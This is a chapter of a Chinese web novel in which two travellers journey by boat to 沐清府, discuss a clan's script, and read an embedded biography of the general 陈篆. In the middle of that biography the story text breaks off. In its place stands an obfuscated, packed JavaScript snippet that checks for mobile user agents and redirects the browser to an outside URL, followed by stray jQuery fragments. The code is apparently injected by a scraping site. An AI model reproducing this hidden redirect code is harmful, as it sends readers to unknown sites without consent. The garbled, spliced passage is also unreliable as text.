25.沐清

作品:《春秋二记

    自清江北上,快船下午已至沐清府。


    因为玄鸟乌衣已经跟赢鎏打过招呼,所以清江君亲自相送全途,一路上也甚是平安。


    各自解决家事后,衡祈二人俱是心情畅快。虽然蝶祈不懂龙篆,但自有他精灵古怪的方法,半玩半认真地帮东衡加深记忆。


    比如捋一把竹叶,让阿衡摆着玩,还称之为实战经验。


    东衡啼笑皆非:“祈哥这都是哄小孩的法子么?”


    舒蝶祈抱臂靠在船舷上笑:“我自小不爱背东西,为此挨了不少竹板,只得另辟蹊径、寓学于乐。”


    便笑而问起鲁朴氏的龙篆,到底有什么博大幽微的奥妙,如此难学。


    东衡笑,思索一会,才凝炼而准确地表意道:“我们族中的语言,首先是''活''的。使用没有定式,不讲语法结构,但族人之间一眼便能看懂意思,非常灵活。”


    “因为本身便很复杂,所以都是从小学起。不然长大再学,总会觉得十分刻板。处处讲语法,说话都不利索。”


    说着不禁叹,“多亏父亲从小教导,日常便与我们以族中语言对话。不然,现在真是''关山难越''。”


    舒蝶祈颔首笑道:“原是如此。”


    侧头望去,笑道:“我却不只是问它的难处。阿衡,我是想问你——你们的古金文,最初是什么?”


    “我以往…也曾经学过。”祈哥微微皱眉,抬手看看手心,道,“写了六个字,根本写不动。仿佛有极其强大坚固的阻力,让我停顿难行。”说着笑了,“那才是真正的''关山难越''啊。”


    东衡默然一会,道:“如果我没有猜错的话,我族的金文本身,便可以吸取使用者的力量。”


    舒蝶祈笑,点头道:“继续。”


    东衡眉眼生笑,明珠玉辉,笑道:“祈哥又在引着我学了,明明心里都明白。”


    舒蝶祈笑而别开脸去:“我可什么都不知道。”


    东衡便就叹笑,敲着父亲的竹简道:“以往,我家里算是清贫。母亲对家用物资一概尚简,尤其对父亲看管极严。但唯有父亲想要的两样东西,母亲绝对纵容,要从问采氏订购。”


    “便是竹简和金错刀。”


    “十副便价值百金,十分贵重。”


    东衡回忆道,“母亲说,父亲唯有这点抄书的爱好,不能再不答应。”


    舒蝶祈的目光落在东衡手中的一卷厚实沉重的竹简上。


    竹简的竹片古润坚实,颇有化玉迹象。舒蝶祈想起瞥见的内容,其笔力峻刻浑然,刻痕入木五分,仿佛山川的沟壑。


    ……这深峻的力道,确实不能用一般的竹简和笔刀。


    怕是一碰,纸笔便会散作飞灰。


    “我父亲是个十分挑剔的人。”东衡不禁笑道,“他能看得上的书,也不过四五本。所以在制伞的母亲身边闲来无事,便会抄写一段时间,聊以自娱。”


    “抄完了,便刮去。反复利用,务求俭省。”东衡叹笑,“母亲看他这模样,又心疼不已,总是想多卖伞、多赚钱,多给他买几卷竹简。说是俭朴过活,一年到头,家里也不剩几个钱。”


    舒蝶祈笑,问道:“令尊喜欢的书是?”


    东衡便笑:“家父在政、军、史、乐、工方面各有一本爱书。分别是《简论非臣》《陈篆兵法》《春秋无计》《桃原辞令》《棠溪工章》。”


    舒蝶祈闻言而笑:“令尊到底是个鲁朴氏。”


    东衡笑而不言。


    父亲心怀天下,虽不言,亦有知己。


    只因《简论非臣》,乃是帝正所著的政书。《春秋无计》是春秋尊上的史书。《桃原辞令》是原家与令氏合著的无音歌集。《棠溪工章》是棠溪行歌的建筑理论,虽然他生前不曾著述,但其徒弟也记录了其在指导时的一些言辞理论,后来汇总成册。


    而《陈篆兵法》,则是古来兵家之祖、兵马大元帅,陈篆的著述。陈帅二徒,便是银齿丰年与玄齿真寂。对这位名帅,后世桂太史列传而记,称曰:


    【陈篆,澪国镇铭人,生于寒微,其志高深。性谨深刻默,人莫知其志。


    喜思兵谋,沉定如石,昼夜不辍。曾为人牧牛羊于深秋陵,遇饿狼群,排畜布阵,麾若万军,狼群竟不敢侵。


    时帝正客行而观,嘉曰:“此镇危定乱之才。”后帝一平云华,别分善恶,流孽大荒,多其勋也。


    长安十五年,天下既定,帝问其所欲封。篆叹曰:“纷争既起,必无所止。臣请暂隐,休养残躯,以备再战。”帝默,允之,封桐华山。篆放马归山,十五年间,人莫之闻。


    或有樵者,偶迷深山,见篆依青鹿坐,望雀之斗,沉思不语。有黑白二童,弈棋于侧。樵者拜呼不应,倏忽不见。现一幼虎,通体雪白,引樵而下。


    篆之兵法,神鬼莫测,高深宏博,变化万千,气象森罗,不可抵预。其为将帅,治军严酷,凡逃、降者,皆为戮杀。


    长安三十年,病逝于桐华山,无兵书传世。后五年,符文作乱,天下罹难,有二青年现世,衣别黑白,自称其徒,其后云华定危安澜,多仰赖二人。


    篆好刻金石,曾试诸石,详录其质,并所适刀,以成《篆录》,传于书坊,士所推重。遗章五五,俨然金铁,笔骨铮刀,字迹晦涩,人所难解。后为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480848|154016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    银鹊国主所得,转赠帝浚,浚嘱薄家将风筠解之,乃天下军马重镇之名。众将排之舆图,华然大阵,镇驻云华,坚牢社稷,磐石难摧。帝将皆默,感慨无言。其远虑遗德若此,亦已甚哉。】


    如此寓教于乐,行程愈觉快。只见两岸水榭府,清榕遮水道,船从沐清府的一道道石桥下迅速穿过。


    舒蝶祈笑:“所谓清江之名,而今知矣。”


    说的是清榕映碧水,愈添水中清意。而“沐清府”之名,便是取自沐于清江恩泽之名。


    船行过崇禧堂,此地乃是沐清府望族慕氏家祠。非是家祭之日,虽然门庭肃清,祠堂前的青果榕车道上,也有不少商贩游客。


    春夏正是青果榕的果子季,舒衡二人只见榕枝上尽是繁累可爱的果子,不禁对视一笑。


    东衡笑道:“祈哥勿动,我去。”跟袨袀在天子阙玩出来的经验。


    舒蝶祈笑而点头。


    只见东衡如蜻蜓点水,飘逸掠过,疏忽而至于岸。笑问老人家买了一篮新鲜果子,自水岸边踩上老青果的长枝,分枝拂叶地急走两步,自青榕枝的梢头一跃而下,重重落在船头。


    舒蝶祈笑而躲开船头飞溅的水花,接过东衡递来的果篮。


    东衡讪讪起身,扶扶覆面,遮好容颜。


    青榕道上的人们看他如此青面獠牙的打扮,也不敢太有反应,是以岸上反倒风平浪静。


    船夫稳住一大颠簸的船,同样淡定地继续前行。


    唯有东衡臊得面皮发热,果子都不想吃了。


    舒蝶祈咳笑两声,先洗了果子递给船夫。此人乃是清江君最得力的副将,名为唐毅。


    唐毅接过,道谢。而后便裹以随船携带的芭蕉叶,念诵两句,附身放入清江水中。


    舒衡二人只见清江中水花一卷,隐约有青色龙鳞一现,便就消失。


    于是二人便也齐齐而拜。


    过了一会,唐毅抿紧唇角,道:“…方才,砸着我家龙君额头了,他说先去岸上看下大夫,很快便赶上我们。”


    东衡一面道歉,一面羞窘到想找道地缝钻进去。便道:“不若先停船,我们先去陪龙君看大夫吧。”


    唐毅道:“…怕是耽搁不得…”毕竟是易水龙君亲自下的调令,且与某人关系密切。


    东衡摇头叹道:“我有多笨重,我心里清楚。龙君必定头晕目眩,还要奋力追赶我们,岂不是愈添病痛。”


    “唐先生,请停船。我们去找清江君。”


    唐毅本也担心不已,听得此言,便在二十步前的绿水渠口转头,直入沐清府的地界,去寻找今天有血光之灾的清江君。